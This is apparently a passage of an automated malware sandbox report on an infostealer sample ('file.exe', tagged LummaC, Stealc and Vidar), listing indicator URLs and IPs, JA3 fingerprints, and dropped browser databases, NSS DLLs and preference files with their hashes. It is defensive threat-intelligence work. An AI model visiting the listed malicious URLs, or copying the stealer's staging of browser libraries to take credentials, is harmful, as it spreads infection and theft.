	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://steiraair.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	bZPAo2e2Pv.jar	Get hash	malicious	Can Stealer	Browse	20.233.83.145
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.40

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	http://bc1qcr8muz00d2v7uqg5ggulrmm.com	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	http://bc1qlpk73pgj3dz02nq8d9kpdxk.org	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	http://email.double.serviceautopilot.com/c/eJwczE2OrCAQAODTyA5ThfwUCxZv0_coqOJJom1HbZO5_SRzga8d-4ffP0MKRcKWQG0OMVjforMsga04XpR789LQSOkxO4pGC6YFiSjHbHTnsQ0pXnvtot1yXZL1Gthyr2SJckV2vXkQs5bMsUNk5LqACCFoapQqh4SYAzgzigPnEZEAMEKeQw-1xc5OKcWwwORBjm_ddL70fEZT_t7HZ2zHPbdjN1tZ7_szLf8m95rcq4nKOR69Zr0m96rje487ZnOWnd_8X8_Jwzq27RqiO7-Pc1__mKe43wAAAP__Gf5XhQ	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	https://irvinsahnimd.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TVc1aGNHUT0mdWlkPVVTRVIzMTEwMjAyNFUyNjEwMzE1MQ	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109
	https://t.apemail.net/c/nqkr6vk3kzmvyhqvdmdrwaabb4caabycb4nqogyhdmkxs5qvdmkqcvagayhveflk-nqdbwfkcivnrkgyvpf3bkgygamaa4bqedmcagbahdmdrwbqcaubqoayfdmdrwby3cupvkw2wlfob4fi3a4nvsqs3lmnrkzcskzbugw2sc5svevs3c5zeiq2winjbo5kcirpfsuseiqlwer2tkzbvefi3aaaq6baaa4ba6gyvl5bugr2ebumbqvsdjzlfcgk3jymfmrcekjbuifi3incueuq3aabaegyvpf3bkg2zijnvwg2zijnvwg2zijnvwg2zijnvwgyvafkambqpkikwu	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.147.6 13.107.246.63 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDHCAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHDHIJDGCBAKFIEGHCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAEHCAEGDHJKFHJKFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHIIEHJKKECGCBFIIJDAKFHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIJJDGDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264894067561417
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMTSAELyKOMq+8QTQKC+CVumSe:K0q+n0JT9ELyKOMq+8Q73e
MD5:	048C32B3E55A9B514E04C907AD132CE2
SHA1:	CE5DA7DA27DE9453B4AF37B19A3AD3890074114D
SHA-256:	04A095DE3F9D765BF46949C10181EE30D6DBF61765588BF37CC10A80C6C74174
SHA-512:	5ACB7F77D855F1EA359C314594ED9B3E3FFEF5CBC75D52D463AB20884843905ADDC343D2E90D3BA3F6B341742127521775D9F1741704D77C1D60B3CCEFE70320
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCGDBAKKKFBGDHJKFHJJJJDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\101e37fb-2839-483c-931c-106338c92b87.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46141
Entropy (8bit):	6.08658643874781
Encrypted:	false
SSDEEP:	768:6MkbJrT8IeQcrQgxXFOJLmZ1e45ne0GaDPEO3xIAB3lWC1oMwWE7RTupzKscDX/E:6Mk1rT8HRXdvhTWIoMoRTui8
MD5:	64CAC55B9350507DCA32D347744F68F5
SHA1:	510F946CCBF902B410290220C557C7E6BED1562A
SHA-256:	EB62AF75D4B2664B548893537EC71AC3EE2160FFB8288DCD94E5AAB3AD053AD7
SHA-512:	E86C9923DA3511253FA7AB354E191868E6D27FDB2F62C99D0AA1EF23365AE034355E6696021D8D1CB3698D8F674DEAD50421B8366573FC604F8DA5D09D57A459
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b7b76c7f-9a45-43d6-9c5e-d2540604b4b9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732215519"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2f9fdd8b-2f8e-46d7-866e-64c5f0f0788b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46218
Entropy (8bit):	6.0865157489672
Encrypted:	false
SSDEEP:	768:6MkbJrT8IeQcrQggXFOJLmZ1eZ5ne0GaDPEO3xIAB3lWC1oMwWE7RTupzKscDX/E:6Mk1rT8HAXd+hTWIoMoRTui8
MD5:	6401D6307964087BD8B0ADE7907BCBF6
SHA1:	8D205310509254515C45F25215B7B9849491A699
SHA-256:	6720DCD86A7A9A763A2BD7B18ADA9B2F8C7C80D2DE2A4AF06B4FD3255DE287CF
SHA-512:	7D4140771B43020F8A3BF5A525B15EA6200A3235AFCC1BB435B854F30AC786191E68F87832FD32A83247B8E4FA515CA4DF7041A69E7D488BD0C76C5FE1A64DE6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b7b76c7f-9a45-43d6-9c5e-d2540604b4b9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732215519"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3ad0e123-f412-4d77-b04d-1b070b689648.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44629
Entropy (8bit):	6.0951027832090565
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kuQLmZ1eG4V1qY7qDrzKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynabKoRTuiVIos
MD5:	6DAC46EA0A2F84136A9916D4CECCFBDC
SHA1:	D573B3E6C22CF009186B5B6577F1C066FD543EA0
SHA-256:	7F6AA755D598E8E4875424C5E40EE26F6272141B21CA66485A67EEDD1A1FD845
SHA-512:	6BE219F82296ACD2C0D2622DD527408D576DA6473CD95CC6227984A1128E9BFF9165854B76062E5E7A1A39BF5CE5DA621ABE3CB1671CD9352791BFCFBDB01A03
Malicious:	false
